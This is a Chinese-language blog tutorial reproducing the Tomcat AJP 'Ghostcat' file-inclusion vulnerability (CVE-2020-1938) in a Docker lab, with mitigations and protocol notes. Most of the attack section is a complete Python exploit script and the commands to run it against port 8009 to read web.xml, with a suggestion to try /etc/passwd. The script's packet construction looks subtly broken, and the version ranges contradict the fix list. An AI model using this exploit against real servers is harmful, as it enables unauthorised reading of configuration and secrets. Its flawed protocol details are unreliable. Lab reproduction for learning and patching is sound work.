幽灵猫漏洞实战:从零复现Tomcat AJP文件包含漏洞
第一次听说Tomcat的AJP协议漏洞时,我正坐在实验室里调试一个Java Web应用。当时一位学长随口提到这个漏洞可以读取服务器上的任意文件,这立刻引起了我的兴趣。作为一个刚入门安全研究的新手,我决定亲手复现这个经典的漏洞,于是有了这篇详细的实战记录。
1. 漏洞背景与环境准备
AJP(Apache JServ Protocol)是Tomcat用于与前端Web服务器(如Apache HTTPD)通信的二进制协议。在2020年初,安全研究人员发现Tomcat默认开启的AJP服务存在设计缺陷,攻击者可以构造特殊请求读取Web目录外的任意文件,漏洞编号CVE-2020-1938(CNVD-2020-10487)。
受影响版本范围:
- Apache Tomcat 6
- Apache Tomcat 7 ≤ 7.0.100
- Apache Tomcat 8 ≤ 8.5.51
- Apache Tomcat 9 ≤ 9.0.31
为了复现漏洞,我们需要准备以下环境:
# 使用Docker快速部署有漏洞的Tomcat 8.5.31 docker run -d -p 8080:8080 -p 8009:8009 --name vuln_tomcat tomcat:8.5.31注意:确保主机8009端口未被占用,这是AJP服务的默认端口
验证Tomcat是否正常运行:
curl http://localhost:8080如果看到Tomcat默认页面,说明环境已就绪。
2. 漏洞原理深度解析
这个漏洞的核心在于Tomcat对AJP请求中javax.servlet.include.*属性的处理不当。攻击者可以通过构造特殊的AJP请求,利用文件包含功能读取WEB-INF目录下的敏感文件,如web.xml。
关键攻击向量:
- 通过AJP协议发送包含恶意属性的请求
- 设置
javax.servlet.include.request_uri为"/" - 设置
javax.servlet.include.path_info为目标文件路径 - 设置
javax.servlet.include.servlet_path为"/"
当这些属性被Tomcat处理时,服务器会错误地将指定文件包含到响应中,导致信息泄露。
3. 漏洞复现实战步骤
我们将使用Python脚本进行漏洞利用。首先创建一个名为exploit.py的文件,内容如下:
import socket import struct def pack_string(s): if s is None: return struct.pack(">h", -1) return struct.pack(">H%dsb" % len(s), len(s), s.encode('utf8'), 0) def prepare_ajp_request(target_host, file_path): # 构造AJP转发请求 req = b"\x12\x34\x00\x01\x0a" req += pack_string("HTTP/1.1") req += pack_string("/asdf") # 任意URI req += pack_string(target_host) req += pack_string(None) # remote_host req += pack_string(target_host) req += struct.pack(">h", 80) # server_port req += struct.pack("?", False) # is_ssl # 请求头 req += struct.pack(">h", 5) # header_count req += b"\x0a\x04" + pack_string("text/html") # SC_REQ_ACCEPT req += b"\x0a\x06" + pack_string("keep-alive") # SC_REQ_CONNECTION req += b"\x0a\x08" + pack_string(target_host) # SC_REQ_HOST req += b"\x0a\x0b" + pack_string("Mozilla") # SC_REQ_USER_AGENT req += b"\x0a\x03" + pack_string("0") # SC_REQ_CONTENT_LENGTH # 恶意属性 req += b"\xff\x0a" # 10 = req_attribute req += pack_string("javax.servlet.include.request_uri") req += pack_string("/") req += b"\xff\x0a" req += pack_string("javax.servlet.include.path_info") req += pack_string(file_path) req += b"\xff\x0a" req += pack_string("javax.servlet.include.servlet_path") req += pack_string("/") req += b"\xff" # 属性结束标记 return req def exploit(target, port=8009, file="WEB-INF/web.xml"): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.send(prepare_ajp_request(target, file)) # 读取响应 data = s.recv(4096) s.close() return data[5:] # 跳过AJP头 if __name__ == "__main__": import argparse parser = argparse.ArgumentParser() parser.add_argument("target", help="目标IP或域名") parser.add_argument("-p", "--port", type=int, default=8009, help="AJP端口") parser.add_argument("-f", "--file", default="WEB-INF/web.xml", help="要读取的文件路径") args = parser.parse_args() print(exploit(args.target, args.port, args.file).decode('utf-8', 'ignore'))执行漏洞利用:
python3 exploit.py 127.0.0.1 -f WEB-INF/web.xml预期输出:如果漏洞存在,将显示web.xml文件内容,包含Tomcat的配置信息。
4. 常见问题与调试技巧
在复现过程中,可能会遇到以下问题:
问题1:连接被拒绝
- 检查Tomcat是否正常运行:
docker ps - 确认AJP端口(8009)已暴露:
netstat -tuln | grep 8009
问题2:无数据返回
- 确认文件路径是否正确,WEB-INF/web.xml是默认存在文件
- 尝试其他文件路径,如
/etc/passwd(需突破目录限制)
问题3:Python版本兼容性问题
- 原始POC可能只兼容Python 2,上述脚本已适配Python 3
- 如果遇到编码问题,尝试修改decode参数
调试技巧:
- 使用Wireshark捕获AJP流量,分析协议交互
- 在Tomcat日志中查找AJP请求记录:
docker exec vuln_tomcat tail -f /usr/local/tomcat/logs/catalina.out- 修改脚本逐步发送请求,观察服务器响应
5. 漏洞修复与防护措施
Apache官方已发布修复版本,建议升级到以下或更高版本:
- Tomcat 7.0.100+
- Tomcat 8.5.51+
- Tomcat 9.0.31+
临时缓解方案:
- 关闭AJP服务(推荐):
<!-- 修改conf/server.xml --> <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> <!-- 注释或删除此行 -->- 配置AJP认证:
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" secretRequired="true" secret="YOUR_SECRET" />- 防火墙限制AJP端口访问:
iptables -A INPUT -p tcp --dport 8009 -j DROP6. 深入理解AJP协议
为了更好地理解漏洞本质,我们需要了解AJP协议的基本结构:
AJP消息类型:
| 类型 | 代码 | 描述 |
|---|---|---|
| Forward Request | 2 | 从Web服务器到容器 |
| Send Body Chunk | 3 | 发送请求体数据 |
| Send Headers | 4 | 发送响应头 |
| End Response | 5 | 结束响应 |
| Get Body Chunk | 6 | 获取请求体数据 |
关键数据结构:
# AJP消息头结构(4字节) struct ajp_header { uint8_t magic; # 0x12或0x41 uint8_t code; # 消息类型代码 uint16_t length; # 消息体长度 };在漏洞利用中,我们构造的是一个Forward Request消息,通过精心设置的属性实现文件包含。理解这些底层细节有助于我们编写更精确的漏洞检测工具。